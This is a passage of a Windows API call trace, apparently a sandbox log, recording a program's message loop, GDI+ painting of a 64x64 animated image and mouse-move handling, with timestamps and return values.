(in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.819] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.819] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.819] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.819] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.819] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0135.819] GetCurrentThreadId () returned 0xec0 [0135.819] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0135.819] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.820] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.820] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.820] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.820] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.820] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0135.820] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0135.820] CreateCompatibleDC (hdc=0x3010b83) returned 0x6c0107cb [0135.820] SelectObject (hdc=0x6c0107cb, h=0x1a05067e) returned 0x185000f [0135.820] GdipCreateFromHDC (hdc=0x6c0107cb, graphics=0x15daf0) returned 0x0 [0135.821] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0135.821] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0135.821] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0135.821] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0135.821] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0135.821] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.821] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0135.822] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.822] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.822] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0135.822] GdipCreateRegion (region=0x15dc20) returned 0x0 [0135.822] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0135.822] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0135.822] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0135.822] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.822] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.822] GetSystemMetrics (nIndex=42) returned 0 [0135.822] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.822] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.823] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.823] CoTaskMemFree (pv=0x1e7ac120) [0135.823] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0135.823] GdipCreateRegion (region=0x15d710) returned 0x0 [0135.823] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0135.823] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0135.823] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0135.823] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0135.823] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.823] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.824] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.824] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0135.824] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.824] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.824] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.824] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.825] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0135.825] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0135.825] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0135.825] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0135.825] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.825] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0135.825] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0135.825] GetCurrentObject (hdc=0x6c0107cb, type=0x1) returned 0x1b00017 [0135.825] GetCurrentObject (hdc=0x6c0107cb, type=0x2) returned 0x1900010 [0135.825] GetCurrentObject (hdc=0x6c0107cb, type=0x7) returned 0x1a05067e [0135.825] GetCurrentObject (hdc=0x6c0107cb, type=0x6) returned 0x18a002e [0135.825] SaveDC (hdc=0x6c0107cb) returned 1 [0135.826] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x73040b8a [0135.826] GetClipRgn (hdc=0x6c0107cb, hrgn=0x73040b8a) returned 0 [0135.826] SelectClipRgn (hdc=0x6c0107cb, hrgn=0xffffffffa30407c3) returned 2 [0135.826] DeleteObject (ho=0x73040b8a) returned 1 [0135.826] DeleteObject (ho=0xffffffffa30407c3) returned 1 [0135.826] OffsetViewportOrgEx (in: hdc=0x6c0107cb, x=0, y=0, lppt=0x27fda18 | out: lppt=0x27fda18) returned 1 [0135.826] GetNearestColor (hdc=0x6c0107cb, color=0xffffff) returned 0xffffff [0135.826] CreateSolidBrush (color=0xffffff) returned 0x7b100190 [0135.826] FillRect (hDC=0x6c0107cb, lprc=0x15d7c0, hbr=0x7b100190) returned 1 [0135.826] DeleteObject (ho=0x7b100190) returned 1 [0135.826] RestoreDC (hdc=0x6c0107cb, nSavedDC=-1) returned 1 [0135.827] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.827] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6c0107cb) returned 0x0 [0135.827] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcf00dbd) returned 0x0 [0135.827] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.827] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0135.827] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.827] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.827] GetSystemMetrics (nIndex=42) returned 0 [0135.827] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.827] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.827] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.827] CoTaskMemFree (pv=0x1e7ac120) [0135.827] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0135.830] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0135.830] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0135.830] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0135.830] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0135.830] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6c0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0135.831] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.831] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6c0107cb) returned 0x0 [0135.831] SelectObject (hdc=0x6c0107cb, h=0x185000f) returned 0x1a05067e [0135.831] DeleteDC (hdc=0x6c0107cb) returned 1 [0135.831] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.831] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0135.831] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0135.831] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0135.831] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.831] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.831] WaitMessage () returned 1 [0135.932] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.932] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02bb) returned 0x1 [0135.933] IsWindowUnicode (hWnd=0x20312) returned 1 [0135.933] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.933] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02bb) returned 0x1 [0135.933] SetCursor (hCursor=0x10003) returned 0x10003 [0135.933] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.933] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.933] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x950064) returned 0x0 [0135.933] GetKeyState (nVirtKey=1) returned 0 [0135.933] GetKeyState (nVirtKey=2) returned 0 [0135.933] GetKeyState (nVirtKey=4) returned 0 [0135.933] GetKeyState (nVirtKey=5) returned 0 [0135.933] GetKeyState (nVirtKey=6) returned 0 [0135.933] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.933] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.933] WaitMessage () returned 1 [0135.954] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.954] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02c5) returned 0x1 [0135.954] IsWindowUnicode (hWnd=0x20312) returned 1 [0135.954] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.955] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02c5) returned 0x1 [0135.955] SetCursor (hCursor=0x10003) returned 0x10003 [0135.955] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.955] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.955] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x95006e) returned 0x0 [0135.955] GetKeyState (nVirtKey=1) returned 0 [0135.955] GetKeyState (nVirtKey=2) returned 0 [0135.955] GetKeyState (nVirtKey=4) returned 0 [0135.955] GetKeyState (nVirtKey=5) returned 0 [0135.955] GetKeyState (nVirtKey=6) returned 0 [0135.955] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.955] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.955] WaitMessage () returned 1 [0135.966] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.966] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02cf) returned 0x1 [0135.966] IsWindowUnicode (hWnd=0x20312) returned 1 [0135.966] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.966] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02cf) returned 0x1 [0135.967] SetCursor (hCursor=0x10003) returned 0x10003 [0135.967] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.967] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.967] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x950078) returned 0x0 [0135.967] GetKeyState (nVirtKey=1) returned 0 [0135.967] GetKeyState (nVirtKey=2) returned 0 [0135.967] GetKeyState (nVirtKey=4) returned 0 [0135.967] GetKeyState (nVirtKey=5) returned 0 [0135.967] GetKeyState (nVirtKey=6) returned 0 [0135.967] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.967] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.967] WaitMessage () returned 1 [0135.981] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.981] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02d9) returned 0x1 [0135.981] IsWindowUnicode (hWnd=0x20312) returned 1 [0135.981] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.982] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02d9) returned 0x1 [0135.982] SetCursor (hCursor=0x10003) returned 0x10003 [0135.982] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.982] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.982] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x950082) returned 0x0 [0135.982] GetKeyState (nVirtKey=1) returned 0 [0135.982] GetKeyState (nVirtKey=2) returned 0 [0135.982] GetKeyState (nVirtKey=4) returned 0 [0135.982] GetKeyState (nVirtKey=5) returned 0 [0135.982] GetKeyState (nVirtKey=6) returned 0 [0135.982] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.982] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.982] WaitMessage () returned 1 [0136.005] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.005] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.005] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.005] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.005] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.005] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0136.005] GetCurrentThreadId () returned 0xec0 [0136.005] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0136.005] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.005] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.005] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.005] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.005] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.006] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0136.006] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0136.006] CreateCompatibleDC (hdc=0x3010b83) returned 0x6d0107cb [0136.006] SelectObject (hdc=0x6d0107cb, h=0x1a05067e) returned 0x185000f [0136.006] GdipCreateFromHDC (hdc=0x6d0107cb, graphics=0x15daf0) returned 0x0 [0136.006] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0136.006] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0136.006] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0136.006] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0136.006] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0136.006] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.007] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0136.007] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.007] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.007] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0136.007] GdipCreateRegion (region=0x15dc20) returned 0x0 [0136.007] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0136.007] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0136.008] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0136.008] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.008] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.008] GetSystemMetrics (nIndex=42) returned 0 [0136.008] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.008] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.008] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.008] CoTaskMemFree (pv=0x1e7ac120) [0136.008] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0136.008] GdipCreateRegion (region=0x15d710) returned 0x0 [0136.008] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0136.008] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0136.008] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0136.008] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0136.008] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.008] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.009] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.009] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0136.009] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.009] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.010] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.010] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.010] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0136.010] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0136.010] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0136.010] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0136.010] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.010] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0136.010] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0136.010] GetCurrentObject (hdc=0x6d0107cb, type=0x1) returned 0x1b00017 [0136.010] GetCurrentObject (hdc=0x6d0107cb, type=0x2) returned 0x1900010 [0136.010] GetCurrentObject (hdc=0x6d0107cb, type=0x7) returned 0x1a05067e [0136.010] GetCurrentObject (hdc=0x6d0107cb, type=0x6) returned 0x18a002e [0136.011] SaveDC (hdc=0x6d0107cb) returned 1 [0136.011] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa40407c3 [0136.011] GetClipRgn (hdc=0x6d0107cb, hrgn=0xffffffffa40407c3) returned 0 [0136.011] SelectClipRgn (hdc=0x6d0107cb, hrgn=0x74040b8a) returned 2 [0136.011] DeleteObject (ho=0xffffffffa40407c3) returned 1 [0136.011] DeleteObject (ho=0x74040b8a) returned 1 [0136.011] OffsetViewportOrgEx (in: hdc=0x6d0107cb, x=0, y=0, lppt=0x27fee80 | out: lppt=0x27fee80) returned 1 [0136.011] GetNearestColor (hdc=0x6d0107cb, color=0xffffff) returned 0xffffff [0136.011] CreateSolidBrush (color=0xffffff) returned 0x7c100190 [0136.011] FillRect (hDC=0x6d0107cb, lprc=0x15d7c0, hbr=0x7c100190) returned 1 [0136.011] DeleteObject (ho=0x7c100190) returned 1 [0136.011] RestoreDC (hdc=0x6d0107cb, nSavedDC=-1) returned 1 [0136.011] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.012] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6d0107cb) returned 0x0 [0136.012] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcee0dbd) returned 0x0 [0136.012] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.012] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0136.012] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.012] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.012] GetSystemMetrics (nIndex=42) returned 0 [0136.012] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.012] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.012] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.012] CoTaskMemFree (pv=0x1e7ac120) [0136.012] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0136.013] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0136.013] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0136.013] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0136.013] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6d0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0136.013] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.013] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6d0107cb) returned 0x0 [0136.013] SelectObject (hdc=0x6d0107cb, h=0x185000f) returned 0x1a05067e [0136.013] DeleteDC (hdc=0x6d0107cb) returned 1 [0136.013] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.013] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0136.014] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0136.014] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0136.015] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.015] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02e3) returned 0x1 [0136.015] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.015] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.015] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02e3) returned 0x1 [0136.015] SetCursor (hCursor=0x10003) returned 0x10003 [0136.015] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.015] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.015] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x95008c) returned 0x0 [0136.015] GetKeyState (nVirtKey=1) returned 0 [0136.015] GetKeyState (nVirtKey=2) returned 0 [0136.015] GetKeyState (nVirtKey=4) returned 0 [0136.015] GetKeyState (nVirtKey=5) returned 0 [0136.015] GetKeyState (nVirtKey=6) returned 0 [0136.015] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.015] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.016] WaitMessage () returned 1 [0136.037] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.037] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02ed) returned 0x1 [0136.037] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.037] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.037] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02ed) returned 0x1 [0136.038] SetCursor (hCursor=0x10003) returned 0x10003 [0136.038] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.038] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.038] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x950096) returned 0x0 [0136.038] GetKeyState (nVirtKey=1) returned 0 [0136.038] GetKeyState (nVirtKey=2) returned 0 [0136.038] GetKeyState 